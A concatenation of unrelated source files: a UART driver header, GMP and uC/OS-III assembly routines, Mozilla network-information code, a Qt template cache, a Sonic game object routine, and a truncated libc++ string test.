class UartPinAssignment : public PinAssignment<uart_pin_assignment_t>{};
/*! \brief Uart Attributes Class
* \details The Uart Attributes Class can be used to configure
* the UART. The sys::Cli classes can populate a UartAttr object
* using arguments passed on the command line.
*
* For example, the following sample code will initialize
* a UART port based on parameters passed on the command line.
*
* \code
* int main(int argc, char * argv[]){
* UartAttr uart_attr;
* Cli cli(argc, argv);
*
* cli.handle_uart(uart_attr);
*
* Uart uart(uart_attr.port());
* uart.init(uart_attr);
* }
* \endcode
*
* \sa hal::Uart
*
*/
class UartAttr : public PinAssignmentPeriphAttr<uart_attr_t, uart_pin_assignment_t> {
public:
/*! \details Accesses the tx pin assignment value. */
mcu_pin_t tx() const { return m_attr.pin_assignment.tx; }
/*! \details Accesses the rx pin assignment value. */
mcu_pin_t rx() const { return m_attr.pin_assignment.rx; }
/*! \details Accesses the cts pin assignment value. */
mcu_pin_t cts() const { return m_attr.pin_assignment.cts; }
/*! \details Accesses the rts pin assignment value. */
mcu_pin_t rts() const { return m_attr.pin_assignment.rts; }
/*! \details Accesses the width in bits (usually 8). */
u8 width() const { return m_attr.width; }
/*! \details Sets the tx pin assignment value.
*
* @param pin The tx pin
*
*/
void set_tx(const mcu_pin_t & pin){ m_attr.pin_assignment.tx = pin;}
/*! \details Sets the rx pin assignment value.
*
* @param pin The rx pin
*
*/
void set_rx(const mcu_pin_t & pin){ m_attr.pin_assignment.rx = pin;}
/*! \details Sets the cts pin assignment value.
*
* @param pin The cts pin
*
*/
void set_cts(const mcu_pin_t & pin){ m_attr.pin_assignment.cts = pin;}
/*! \details Sets the rts pin assignment value.
*
* @param pin The rts pin
*
*/
void set_rts(const mcu_pin_t & pin){ m_attr.pin_assignment.rts = pin;}
/*! \details Sets the width in bits.
*
* @param bits The number of bits to use
*
*/
void set_width(u8 bits){ m_attr.width = bits; }
};
/*! \brief UART Class
* \details This class implements a serial UART port.
*
* Here is an example of how to use the UART using
* default parameters provide by the board support package.
*
* \code
* #include <sapi/hal.hpp>
*
* int main(int argc, char * argv[]){
* Uart uart(0); //use UART0
* char buffer[256];
* uart.init(); //initializes using default parameters
* uart.read(buffer, 256); //this will block until at least one byte arrives
* uart.close(); //free the file descriptors and power down the device
* return 0;
* }
* \endcode
*
* The above example opens using the UART in blocking mode. If you want to be able
* to read the UART without blocking until a byte arrives, you can use non-blocking mode.
*
* \code
* #include <sapi/hal.hpp>
*
* int main(int argc, char * argv[]){
* Uart uart(0);
* char buffer[256];
* UartPinAssignment pin_assignment;
* uart.open(Uart::NONBLOCK|Uart::RDWR);
* //now set the attributes
* pin_assignment->tx = mcu_pin(0,0);
* pin_assignment->rx = mcu_pin(0,1);
* uart.set_attr(Uart::FLAG_IS_STOP1|Uart::FLAG_IS_PARITY_NONE,
* 115200, //115200 baud rate
* 8,
* pin_assignment); //this value can be null to use the BSP's default pin assignment values
* uart.read(buffer, 256); //returns immediately even if no data is available (errno is set to EAGAIN if no data)
* uart.close(); //free the resources
* }
* \endcode
*
* The UART can also be configured directly using the POSIX API.
*
* \code
* #include <sos/dev/uart.h>
* #include <unistd.h>
* #include <fcntl.h>
*
* int main(int argc, char * argv[]){
* int fd;
* uart_attr_t attr;
* char str[] = "Hello!\n";
* fd = open("/dev/uart0", O_RDWR);
* if( fd < 0 ){
* perror("Failed to open uart");
* } else {
* attr.o_flags = UART_FLAG_SET_LINE_CODING | UART_FLAG_IS_PARITY_NONE;
* attr.width = 8;
* attr.freq = 115200;
* attr.pin_assignment.tx = mcu_pin(0,0);
* attr.pin_assignment.rx = mcu_pin(0,1);
* attr.pin_assignment.cts = mcu_pin(0xff,0xff); //don't use CTS
* attr.pin_assignment.rts = mcu_pin(0xff,0xff); //don't use RTS
* if( ioctl(fd, I_UART_SETATTR, &attr) < 0 ){
* perror("Failed to set uart attr");
* } else {
* write(fd, str, strlen(str));
* }
*
* close(fd);
* }
*
* return 0;
* }
* \endcode
*
* \sa hal::UartPinAssignment
* \sa hal::UartAttr
*/
class Uart : public Periph<uart_info_t, uart_attr_t, UART_IOC_IDENT_CHAR> {
public:
/*! \details Constructs a new Uart object.
*
* @param port The port to use (Zero is always the first port)
*/
Uart(port_t port);
enum {
FLAG_SET_LINE_CODING = UART_FLAG_SET_LINE_CODING,
FLAG_IS_STOP1 = UART_FLAG_IS_STOP1,
FLAG_IS_STOP2 = UART_FLAG_IS_STOP2,
FLAG_IS_STOP0_5 = UART_FLAG_IS_STOP0_5,
FLAG_IS_STOP1_5 = UART_FLAG_IS_STOP1_5,
FLAG_IS_PARITY_NONE = UART_FLAG_IS_PARITY_NONE,
FLAG_IS_PARITY_ODD = UART_FLAG_IS_PARITY_ODD,
FLAG_IS_PARITY_EVEN = UART_FLAG_IS_PARITY_EVEN,
SET_LINE_CODING_DEFAULT /*! See \ref UART_FLAG_SET_LINE_CODING_DEFAULT */ = UART_FLAG_SET_LINE_CODING_DEFAULT,
SET_LINE_CODING /*! See \ref UART_FLAG_SET_LINE_CODING */ = UART_FLAG_SET_LINE_CODING,
IS_STOP1 /*! See \ref UART_FLAG_IS_STOP1 */ = UART_FLAG_IS_STOP1,
IS_STOP2 /*! See \ref UART_FLAG_IS_STOP2 */ = UART_FLAG_IS_STOP2,
IS_STOP0_5 /*! See \ref UART_FLAG_IS_STOP0_5 */ = UART_FLAG_IS_STOP0_5,
IS_STOP1_5 /*! See \ref UART_FLAG_IS_STOP1_5 */ = UART_FLAG_IS_STOP1_5,
IS_PARITY_NONE /*! See \ref UART_FLAG_IS_PARITY_NONE */ = UART_FLAG_IS_PARITY_NONE,
IS_PARITY_ODD /*! See \ref UART_FLAG_IS_PARITY_ODD */ = UART_FLAG_IS_PARITY_ODD,
IS_PARITY_EVEN /*! See \ref UART_FLAG_IS_PARITY_EVEN */ = UART_FLAG_IS_PARITY_EVEN,
};
/*! \details Reads a single byte (if available from the UART). Upon
* success, the byte is written to the value pointed to by \a c.
*
* \returns Zero on successfully reading a byte, -1 if no bytes are available.
*/
int get(char & c);
/*! \details Writes a single byte on the UART.
*
* @param c The character to write
* @return Zero on success
*/
int put(char c);
/*! \details Flushes the TX/RX buffers. */
int flush();
/*! \details Sets the attributes of the Uart.
*
* @param o_flags Bitmask of attribute flags
* @param freq Baudrate
* @param width Number of bits (usually 8)
* @param pin_assignment A pointer to the pin assignment (null to use the default)
* @return Zero on success
*/
int set_attr(u32 o_flags, u32 freq, u32 width = 8, const uart_pin_assignment_t * pin_assignment = 0) const {
uart_attr_t attr;
attr.o_flags = o_flags;
if( pin_assignment ){
memcpy(&attr.pin_assignment, pin_assignment, sizeof(uart_pin_assignment_t));
} else {
memset(&attr.pin_assignment, 0xff, sizeof(uart_pin_assignment_t));
}
attr.freq = freq;
attr.width = width;
return set_attr(attr);
}
/*! \details Initializes the uart with the specified attributes.
*
* @param o_flags Bitmask of attribute flags
* @param freq Baudrate
* @param width Number of bits (usually 8)
* @param pin_assignment A pointer to the pin assignment (null to use the default)
* @return Zero on success
*
* This method calls open() and set_attr().
*/
int init(u32 o_flags, u32 freq, u32 width = 8, const uart_pin_assignment_t * pin_assignment = 0){
if( open() < 0 ){
return -1;
}
return set_attr(o_flags, freq, width, pin_assignment);
}
using Periph::init;
using Periph::set_attr;
private:
};
}
#endif /* SAPI_UART_HPP_ */
|
dnl AMD K7 mpn_addlsh1_n -- rp[] = up[] + (vp[] << 1)
dnl Copyright 2011 Free Software Foundation, Inc.
dnl Contributed to the GNU project by Torbjorn Granlund and Marco Bodrato.
dnl This file is part of the GNU MP Library.
dnl
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of either:
dnl
dnl * the GNU Lesser General Public License as published by the Free
dnl Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl or
dnl
dnl * the GNU General Public License as published by the Free Software
dnl Foundation; either version 2 of the License, or (at your option) any
dnl later version.
dnl
dnl or both in parallel, as here.
dnl
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
dnl for more details.
dnl
dnl You should have received copies of the GNU General Public License and the
dnl GNU Lesser General Public License along with the GNU MP Library. If not,
dnl see https://www.gnu.org/licenses/.
include(`../config.m4')
C This is an attempt at an addlsh1_n for x86-32, not relying on sse2 insns.
C The innerloop is 2*3-way unrolled, which is best we can do with the available
C registers. It seems tricky to use the same structure for rsblsh1_n, since we
C cannot feed carry between operations there.
C cycles/limb
C P5
C P6 model 0-8,10-12
C P6 model 9 (Banias)
C P6 model 13 (Dothan) 5.4 (worse than add_n + lshift)
C P4 model 0 (Willamette)
C P4 model 1 (?)
C P4 model 2 (Northwood)
C P4 model 3 (Prescott)
C P4 model 4 (Nocona)
C Intel Atom 6
C AMD K6 ?
C AMD K7 2.5
C AMD K8
C This is a basic addlsh1_n for k7, atom, and perhaps some other x86-32
C processors. It uses 2*3-way unrolling, for good reasons. Unfortunately,
C that means we need an initial magic multiply.
C
C It is not clear how to do sublsh1_n or rsblsh1_n using the same pattern. We
C cannot do rsblsh1_n since we feed carry from the shift blocks to the
C add/subtract blocks, which is right for addition but reversed for
C subtraction. We could perhaps do sublsh1_n, with some extra move insns,
C without losing any time, since we're not issue limited but carry recurrency
C latency.
C
C Breaking carry recurrency might be a good idea. We would then need separate
C registers for the shift carry and add/subtract carry, which in turn would
C force is to 2*2-way unrolling.
defframe(PARAM_SIZE, 16)
defframe(PARAM_DBLD, 12)
defframe(PARAM_SRC, 8)
defframe(PARAM_DST, 4)
dnl re-use parameter space
define(VAR_COUNT,`PARAM_DST')
define(VAR_TMP,`PARAM_DBLD')
ASM_START()
TEXT
ALIGN(8)
PROLOGUE(mpn_addlsh1_n)
deflit(`FRAME',0)
define(`rp', `%edi')
define(`up', `%esi')
define(`vp', `%ebp')
mov $0x2aaaaaab, %eax
push %ebx FRAME_pushl()
mov PARAM_SIZE, %ebx C size
push rp FRAME_pushl()
mov PARAM_DST, rp
mul %ebx
push up FRAME_pushl()
mov PARAM_SRC, up
not %edx C count = -(size\8)-1
mov %edx, VAR_COUNT
push vp FRAME_pushl()
mov PARAM_DBLD, vp
lea 3(%edx,%edx,2), %ecx C count*3+3 = -(size\6)*3
xor %edx, %edx
lea (%ebx,%ecx,2), %ebx C size + (count*3+3)*2 = size % 6
or %ebx, %ebx
jz L(exact)
L(oop):
ifdef(`CPU_P6',`
shr %edx ') C restore 2nd saved carry bit
mov (vp), %eax
adc %eax, %eax
rcr %edx C restore 1st saved carry bit
lea 4(vp), vp
adc (up), %eax
lea 4(up), up
adc %edx, %edx C save a carry bit in edx
ifdef(`CPU_P6',`
adc %edx, %edx ') C save another carry bit in edx
dec %ebx
mov %eax, (rp)
lea 4(rp), rp
jnz L(oop)
mov vp, VAR_TMP
L(exact):
incl VAR_COUNT
jz L(end)
ALIGN(16)
L(top):
ifdef(`CPU_P6',`
shr %edx ') C restore 2nd saved carry bit
mov (vp), %eax
adc %eax, %eax
mov 4(vp), %ebx
adc %ebx, %ebx
mov 8(vp), %ecx
adc %ecx, %ecx
rcr %edx C restore 1st saved carry bit
adc (up), %eax
mov %eax, (rp)
adc 4(up), %ebx
mov %ebx, 4(rp)
adc 8(up), %ecx
mov %ecx, 8(rp)
mov 12(vp), %eax
adc %eax, %eax
mov 16(vp), %ebx
adc %ebx, %ebx
mov 20(vp), %ecx
adc %ecx, %ecx
lea 24(vp), vp
adc %edx, %edx C save a carry bit in edx
adc 12(up), %eax
mov %eax, 12(rp)
adc 16(up), %ebx
mov %ebx, 16(rp)
adc 20(up), %ecx
lea 24(up), up
ifdef(`CPU_P6',`
adc %edx, %edx ') C save another carry bit in edx
mov %ecx, 20(rp)
incl VAR_COUNT
lea 24(rp), rp
jne L(top)
L(end):
pop vp FRAME_popl()
pop up FRAME_popl()
ifdef(`CPU_P6',`
xor %eax, %eax
shr $1, %edx
adc %edx, %eax
',`
adc $0, %edx
mov %edx, %eax
')
pop rp FRAME_popl()
pop %ebx FRAME_popl()
ret
EPILOGUE()
ASM_END()
|
/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
#include <limits>
#include "mozilla/Hal.h"
#include "Connection.h"
#include "nsIDOMClassInfo.h"
#include "mozilla/Preferences.h"
#include "nsDOMEvent.h"
#include "Constants.h"
/**
* We have to use macros here because our leak analysis tool things we are
* leaking strings when we have |static const nsString|. Sad :(
*/
#define CHANGE_EVENT_NAME NS_LITERAL_STRING("change")
DOMCI_DATA(MozConnection, mozilla::dom::network::Connection)
namespace mozilla {
namespace dom {
namespace network {
const char* Connection::sMeteredPrefName = "dom.network.metered";
const bool Connection::sMeteredDefaultValue = false;
NS_IMPL_CYCLE_COLLECTION_CLASS(Connection)
NS_IMPL_CYCLE_COLLECTION_TRAVERSE_BEGIN_INHERITED(Connection,
nsDOMEventTargetHelper)
NS_IMPL_CYCLE_COLLECTION_TRAVERSE_END
NS_IMPL_CYCLE_COLLECTION_UNLINK_BEGIN_INHERITED(Connection,
nsDOMEventTargetHelper)
NS_IMPL_CYCLE_COLLECTION_UNLINK_END
NS_INTERFACE_MAP_BEGIN_CYCLE_COLLECTION_INHERITED(Connection)
NS_INTERFACE_MAP_ENTRY(nsIDOMMozConnection)
NS_INTERFACE_MAP_ENTRY_AMBIGUOUS(nsISupports, nsIDOMMozConnection)
NS_DOM_INTERFACE_MAP_ENTRY_CLASSINFO(MozConnection)
NS_INTERFACE_MAP_END_INHERITING(nsDOMEventTargetHelper)
NS_IMPL_ADDREF_INHERITED(Connection, nsDOMEventTargetHelper)
NS_IMPL_RELEASE_INHERITED(Connection, nsDOMEventTargetHelper)
NS_IMPL_EVENT_HANDLER(Connection, change)
Connection::Connection()
: mCanBeMetered(kDefaultCanBeMetered)
, mBandwidth(kDefaultBandwidth)
{
}
void
Connection::Init(nsPIDOMWindow* aWindow)
{
BindToOwner(aWindow);
hal::RegisterNetworkObserver(this);
hal::NetworkInformation networkInfo;
hal::GetCurrentNetworkInformation(&networkInfo);
UpdateFromNetworkInfo(networkInfo);
}
void
Connection::Shutdown()
{
hal::UnregisterNetworkObserver(this);
}
NS_IMETHODIMP
Connection::GetBandwidth(double* aBandwidth)
{
if (mBandwidth == kDefaultBandwidth) {
*aBandwidth = std::numeric_limits<double>::infinity();
return NS_OK;
}
*aBandwidth = mBandwidth;
return NS_OK;
}
NS_IMETHODIMP
Connection::GetMetered(bool* aMetered)
{
if (!mCanBeMetered) {
*aMetered = false;
return NS_OK;
}
*aMetered = Preferences::GetBool(sMeteredPrefName,
sMeteredDefaultValue);
return NS_OK;
}
void
Connection::UpdateFromNetworkInfo(const hal::NetworkInformation& aNetworkInfo)
{
mBandwidth = aNetworkInfo.bandwidth();
mCanBeMetered = aNetworkInfo.canBeMetered();
}
void
Connection::Notify(const hal::NetworkInformation& aNetworkInfo)
{
double previousBandwidth = mBandwidth;
bool previousCanBeMetered = mCanBeMetered;
UpdateFromNetworkInfo(aNetworkInfo);
if (previousBandwidth == mBandwidth &&
previousCanBeMetered == mCanBeMetered) {
return;
}
DispatchTrustedEvent(CHANGE_EVENT_NAME);
}
} // namespace network
} // namespace dom
} // namespace mozilla
|
#include "templatecache.h"
#include <QDateTime>
#include <QStringList>
#include <QSet>
using namespace stefanfrings;
TemplateCache::TemplateCache(QSettings* settings, QObject* parent)
:TemplateLoader(settings,parent)
{
cache.setMaxCost(settings->value("cacheSize","1000000").toInt());
cacheTimeout=settings->value("cacheTime","60000").toInt();
qDebug("TemplateCache: timeout=%i, size=%i",cacheTimeout,cache.maxCost());
}
QString TemplateCache::tryFile(QString localizedName)
{
qint64 now=QDateTime::currentMSecsSinceEpoch();
mutex.lock();
// search in cache
qDebug("TemplateCache: trying cached %s",qPrintable(localizedName));
CacheEntry* entry=cache.object(localizedName);
if (entry && (cacheTimeout==0 || entry->created>now-cacheTimeout))
{
mutex.unlock();
return entry->document;
}
// search on filesystem
entry=new CacheEntry();
entry->created=now;
entry->document=TemplateLoader::tryFile(localizedName);
// Store in cache even when the file did not exist, to remember that there is no such file
cache.insert(localizedName,entry,entry->document.size());
mutex.unlock();
return entry->document;
}
|
/*
*********************************************************************************************************
* uC/OS-III
* The Real-Time Kernel
*
* Copyright 2009-2021 Silicon Laboratories Inc. www.silabs.com
*
* SPDX-License-Identifier: APACHE-2.0
*
* This software is subject to an open source license and is distributed by
* Silicon Laboratories Inc. pursuant to the terms of the Apache License,
* Version 2.0 available at www.apache.org/licenses/LICENSE-2.0.
*
*********************************************************************************************************
*/
/*
*********************************************************************************************************
*
* ATMEL AVR32 UC3 Port
*
* File : os_cpu_a.asm
* Version : V3.08.01
*********************************************************************************************************
* Toolchain : IAR AVR32
*********************************************************************************************************
*/
/*
*********************************************************************************************************
* ASM HEADER
*********************************************************************************************************
*/
MODULE OS_CPU_A
RSEG CODE32:CODE
;$PAGE
/*
*********************************************************************************************************
* DEFINES
*********************************************************************************************************
*/
OS_CPU_SR_GM_OFFSET EQU 16 /* Status Register, Global Interrupt Mask Offset */
/*
*********************************************************************************************************
* PUBLIC DECLARATIONS
*********************************************************************************************************
*/
PUBLIC OSCtxSw
PUBLIC OSCtxRestore
PUBLIC OSIntCtxRestore
PUBLIC OSIntISRHandler
PUBLIC OSFastIntISRHandler
EXTERN OSTCBCurPtr
EXTERN OSTCBHighRdyPtr
EXTERN OSTaskSwHook
EXTERN OSPrioHighRdy
EXTERN OSPrioCur
EXTERN OSIntNestingCtr
EXTERN OSIntExit
EXTERN BSP_INTC_IntGetHandler
;$PAGE
/*
*********************************************************************************************************
* TASK LEVEL CONTEXT SWITCH
*
* Description: This function is called when a task makes a higher priority task ready-to-run.
*
* Arguments : None.
*
* Note(s) : 1) Upon entry,
* OSTCBCurPtr points to the OS_TCB of the task to suspend
* OSTCBHighRdyPtr points to the OS_TCB of the task to resume
*
* 2) The stack frame of the task to suspend looks as follows:
*
* SP --> SR (Low Memory)
* PC (High memory)
*
* 3) The saved context of the task to resume looks as follows:
*
* OSTCBHighRdyPtr->OSTCBStkPtr --> SP -->
* R7 ----/ (Low memory)
* .
* .
* R0
* SR
* PC
* LR
* R12
* .
* .
* R8 ----\ (High memory)
*
* where the stack pointer points to the task start address.
*
* 4) OSCtxSw() has to save all registers from the suspended task. Since PC and SR are
* already on the stack, they need to be moved after R0-R7. Then, the remaining
* registers (R8-R12, LR) are pushed into the stack frame. Only then the Stack
* Pointer of the task to suspend is saved on OSTCBCurPtr.
*
* 5) OSCtxSw() MUST:
* a) Save processor registers then,
* b) Save current task's stack pointer into the current task's OS_TCB,
* c) Call OSTaskSwHook(),
* d) Set OSTCBCurPtr = OSTCBHighRdyPtr,
* e) Set OSPrioCur = OSPrioHighRdy,
* f) Switch to the highest priority task.
*
* pseudo-code:
* void OSCtxSw (void)
* {
* Save processor registers;
*
* OSTCBCurPtr->OSTCBStkPtr = SP;
*
* OSTaskSwHook();
*
* OSTCBCurPtr = OSTCBHighRdyPtr;
* OSPrioCur = OSPrioHighRdy;
*
* OSCtxRestore(OSTCBHighRdyPtr->OSTCBStkPtr);
* }
*********************************************************************************************************
*/
OSCtxSw:
PUSHM R10-R12, LR /* Save R10-R12, LR into stack */
LD.D R10, SP[4*4] /* Copy SR and PC from bottom of stack */
PUSHM R10-R11 /* Save SR and PC into stack */
ST.D SP[6*4], R8 /* Save R8 and R9 into stack */
PUSHM R0-R7 /* Save R0-R7 into stack */
MOV R8, LWRD(OSTCBCurPtr)
ORH R8, HWRD(OSTCBCurPtr) /* OSTCBCurPtr */
LD.W R9, R8[0] /* *OSTCBCurPtr */
ST.W R9[0], SP /* OSTCBCurPtr->OSTCBStkPtr = SP */
RCALL OSTaskSwHook
MOV R12, LWRD(OSTCBHighRdyPtr)
ORH R12, HWRD(OSTCBHighRdyPtr) /* OSTCBHighRdyPtr */
LD.W R10, R12[0] /* *OSTCBHighRdyPtr */
MOV R8, LWRD(OSTCBCurPtr)
ORH R8, HWRD(OSTCBCurPtr) /* OSTCBCurPtr */
ST.W R8[0], R10 /* OSTCBCurPtr = OSTCBHighRdyPtr */
MOV R12, LWRD(OSPrioHighRdy)
ORH R12, HWRD(OSPrioHighRdy)
LD.UB R11, R12[0] /* *OSPrioHighRdy */
MOV R12, LWRD(OSPrioCur)
ORH R12, HWRD(OSPrioCur)
ST.B R12[0], R11 /* OSPrioCur = OSPrioHighRdy */
LD.W R12, R10[0] /* Retrieve OSTCBHighRdyPtr->OSTCBStkPtr */
LDM R12, R0-R7 /* Restore R0-R7 */
LD.D R8, R12[14*4] /* Restore R8-R9 */
LD.D R10, R12[ 8*4] /* Retrieve PC and SR from stack frame */
ST.D R12[14*4], R10 /* Store PC and SR at bottom of stack frame */
SUB R12, -10*4 /* Move Stack Pointer Reference to LR */
SUB SP, R12, -4*4 /* Restore Stack Pointer */
LDM R12, R10-R12, LR /* Restore R10-R12, LR */
RETS /* Restore PC and SR {restore task} */
;$PAGE
/*
*********************************************************************************************************
* RESTORE CONTEXT FUNCTIONS
*
* Description: These functions are used to perform context switch.
*
* void OSCtxRestore (CPU_STK *p_stk)
* Restore R0-R9
* Move SR and PC to bottom of Stack frame
* Restore Stack Pointer to point to SR and PC
* Restore R10-R12, LR
* Return from Supervisor Call {context switch}
*
* void OSIntCtxRestore (CPU_STK *p_stk)
* Restore Stack Pointer
* Restore R0-R7
* Return from INT {context switch}
*
* Arguments : p_stk Stack address for the context to be restored
*********************************************************************************************************
*/
OSCtxRestore:
LDM R12, R0-R7 /* Restore R0-R7 */
LD.D R8, R12[14*4] /* Restore R8-R9 */
LD.D R10, R12[ 8*4] /* Retrieve PC and SR from stack frame */
ST.D R12[14*4], R10 /* Store PC and SR at bottom of stack frame */
SUB R12, -10*4 /* Move Stack Pointer Reference to LR */
SUB SP, R12, -4*4 /* Restore Stack Pointer */
LDM R12, R10-R12, LR /* Restore R10-R12, LR */
RETS /* Restore PC and SR {restore task} */
OSIntCtxRestore:
MOV SP, R12 /* Restore SP (Stack Pointer) */
POPM R0-R7 /* Restore R0-R7 */
RETE /* Restore R8-R12, LR, PC and SR {restore task} */
;$PAGE
/*
*********************************************************************************************************
* OS INTERRUPT HANDLER
*
* Description: This function handles the OS specific steps to wrap an user-defined function to be called
* on an interrupt.
*
* prototype: void OSIntISRHandler(CPU_FNCT_PTR p_user_isr);
*
* Notes : 1) OSIntISRHandler() MUST:
* a) save remaining registers (R0-R7),
* b) increment OSIntNestingCtr,
* c) if (OSIntNestingCtr == 1) OSTCBCurPtr->OSTCBStkPtr = SP,
* d) re-enable interrupts,
* e) call user-defined function,
* f) call OSIntExit(),
* g) restore remaining registers (R0-R7),
* h) return from interrupt.
*
* 2) Interrupts MUST be disabled when this function is called.
*********************************************************************************************************
*/
OSIntISRHandler:
PUSHM R0-R7 /* Save R0-R7 into stack */
MOV R11, LWRD(OSIntNestingCtr)
ORH R11, HWRD(OSIntNestingCtr)
LD.UB R10, R11[0]
SUB R10, -1
ST.B R11[0], R10 /* OSIntNestingCtr++ */
CP.W R10, 1 /* Test OSIntNestingCtr */
BRNE OSIntISRHandler_1
MOV R11, LWRD(OSTCBCurPtr) /* if (OSIntNestingCtr == 1) { */
ORH R11, HWRD(OSTCBCurPtr)
LD.W R10, R11[0]
ST.W R10[0], SP /* OSTCBCurPtr->OSTCBStkPtr = SP; */
/* } */
OSIntISRHandler_1:
CSRF OS_CPU_SR_GM_OFFSET /* Clear global interrupt mask (enable interrupts) */
ICALL R12 /* call user ISR function */
RCALL OSIntExit
POPM R0-R7 /* Restore R0-R7 from stack */
RETE
;$PAGE
/*
*********************************************************************************************************
* OS FAST (non-OS) INTERRUPT HANDLER
*
* Description: This function handles OS specific steps to wrap an user-defined function to be called on
* a fast (non-OS) interrupt.
*
* prototype: void OSFastIntISRHandler(CPU_FNCT_PTR p_user_isr);
*
* Notes : 1) OSFastIntISRHandler() MUST:
* a) increment OSIntNestingCtr,
* b) re-enable interrupts,
* c) call user-defined function,
* d) disable interrupts,
* e) decrement OSIntNestingCtr,
* f) return from interrupt.
*
* 2) Interrupts MUST be disabled when this function is called.
*********************************************************************************************************
*/
OSFastIntISRHandler:
MOV R11, LWRD(OSIntNestingCtr)
ORH R11, HWRD(OSIntNestingCtr)
LD.UB R10, R11[0]
SUB R10, -1
ST.B R11[0], R10 /* OSIntNestingCtr++ */
CSRF OS_CPU_SR_GM_OFFSET /* Clear global interrupt mask (enable interrupts) */
ICALL R12 /* call user ISR function */
SSRF OS_CPU_SR_GM_OFFSET /* Set global interrupt mask (disable interrupts) */
NOP
NOP
MOV R11, LWRD(OSIntNestingCtr)
ORH R11, HWRD(OSIntNestingCtr)
LD.UB R10, R11[0]
SUB R10, 1
ST.B R11[0], R10 /* OSIntNestingCtr-- */
RETE
;$PAGE
/*
*********************************************************************************************************
* CPU ASSEMBLY PORT FILE END
*********************************************************************************************************
*/
END
|
; ---------------------------------------------------------------------------
; Object 45 - spiked metal block from beta version (MZ)
; ---------------------------------------------------------------------------
SideStomp:
moveq #0,d0
move.b obRoutine(a0),d0
move.w SStom_Index(pc,d0.w),d1
jmp SStom_Index(pc,d1.w)
; ===========================================================================
SStom_Index: dc.w SStom_Main-SStom_Index
dc.w SStom_Solid-SStom_Index
dc.w loc_BA8E-SStom_Index
dc.w SStom_Display-SStom_Index
dc.w SStom_Pole-SStom_Index
; routine frame
; xpos
SStom_Var: dc.b 2, 4, 0 ; main block
dc.b 4, -$1C, 1 ; spikes
dc.b 8, $34, 3 ; pole
dc.b 6, $28, 2 ; wall bracket
;word_B9BE: ; Note that this indicates three subtypes
SStom_Len: dc.w $3800 ; short
dc.w $A000 ; long
dc.w $5000 ; medium
; ===========================================================================
SStom_Main: ; Routine 0
moveq #0,d0
move.b obSubtype(a0),d0
add.w d0,d0
move.w SStom_Len(pc,d0.w),d2
lea (SStom_Var).l,a2
movea.l a0,a1
moveq #3,d1
bra.s @load
@loop:
bsr.w FindNextFreeObj
bne.s @fail
@load:
move.b (a2)+,obRoutine(a1)
move.b #id_SideStomp,0(a1)
move.w obY(a0),obY(a1)
move.b (a2)+,d0
ext.w d0
add.w obX(a0),d0
move.w d0,obX(a1)
move.l #Map_SStom,obMap(a1)
move.w #$300,obGfx(a1)
move.b #4,obRender(a1)
move.w obX(a1),$30(a1)
move.w obX(a0),$3A(a1)
move.b obSubtype(a0),obSubtype(a1)
move.b #$20,obActWid(a1)
move.w d2,$34(a1)
move.b #4,obPriority(a1)
cmpi.b #1,(a2) ; is subobject spikes?
bne.s @notspikes ; if not, branch
move.b #$91,obColType(a1) ; use harmful collision type
@notspikes:
move.b (a2)+,obFrame(a1)
move.l a0,$3C(a1)
dbf d1,@loop ; repeat 3 times
move.b #3,obPriority(a1)
@fail:
move.b #$10,obActWid(a0)
SStom_Solid: ; Routine 2
move.w obX(a0),-(sp)
bsr.w SStom_Move
move.w #$17,d1
move.w #$20,d2
move.w #$20,d3
move.w (sp)+,d4
bsr.w SolidObject
bsr.w DisplaySprite
bra.w SStom_ChkDel
; ===========================================================================
SStom_Pole: ; Routine 8
movea.l $3C(a0),a1
move.b $32(a1),d0
addi.b #$10,d0
lsr.b #5,d0
addq.b #3,d0
move.b d0,obFrame(a0)
loc_BA8E: ; Routine 4
movea.l $3C(a0),a1
moveq #0,d0
move.b $32(a1),d0
neg.w d0
add.w $30(a0),d0
move.w d0,obX(a0)
SStom_Display: ; Routine 6
bsr.w DisplaySprite
SStom_ChkDel:
out_of_range DeleteObject,$3A(a0)
rts
; ||||||||||||||| S U B R O U T I N E |||||||||||||||||||||||||||||||||||||||
SStom_Move:
moveq #0,d0
move.b obSubtype(a0),d0
add.w d0,d0
move.w off_BAD6(pc,d0.w),d1
jmp off_BAD6(pc,d1.w)
; End of function SStom_Move
; ===========================================================================
; This indicates only two subtypes... that do the same thing
; Compare to SStom_Len. This breaks subtype 02
off_BAD6: dc.w loc_BADA-off_BAD6
dc.w loc_BADA-off_BAD6
; ===========================================================================
loc_BADA:
tst.w $36(a0)
beq.s loc_BB08
tst.w $38(a0)
beq.s loc_BAEC
subq.w #1,$38(a0)
bra.s loc_BB3C
; ===========================================================================
loc_BAEC:
subi.w #$80,$32(a0)
bcc.s loc_BB3C
move.w #0,$32(a0)
move.w #0,obVelX(a0)
move.w #0,$36(a0)
bra.s loc_BB3C
; ===========================================================================
loc_BB08:
move.w $34(a0),d1
cmp.w $32(a0),d1
beq.s loc_BB3C
move.w obVelX(a0),d0
addi.w #$70,obVelX(a0)
add.w d0,$32(a0)
cmp.w $32(a0),d1
bhi.s loc_BB3C
move.w d1,$32(a0)
move.w #0,obVelX(a0)
move.w #1,$36(a0)
move.w #$3C,$38(a0)
loc_BB3C:
moveq #0,d0
move.b $32(a0),d0
neg.w d0
add.w $30(a0),d0
move.w d0,obX(a0)
rts
|
//===----------------------------------------------------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is dual licensed under the MIT and the University of Illinois Open
// Source Licenses. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// <string>
// size_type rfind(const charT* s, size_type pos = npos) const;
#include <string>
#include <cassert>
#include "min_allocator.h"
template <class S>
void
test(const S& s, const typename S::value_type* str, typename S::size_type pos,
typename S::size_type x)
{
assert(s.rfind(str, pos) == x);
if (x != S::npos)
{
typename S::size_type n = S::traits_type::length(str);
assert(x <= pos && x + n <= s.size());
}
}
template <class S>
void
test(const S& s, const typename S::value_type* str, typename S::size_type x)
{
assert(s.rfind(str) == x);
if (x != S::npos)
{
typename S::size_type pos = s.size();
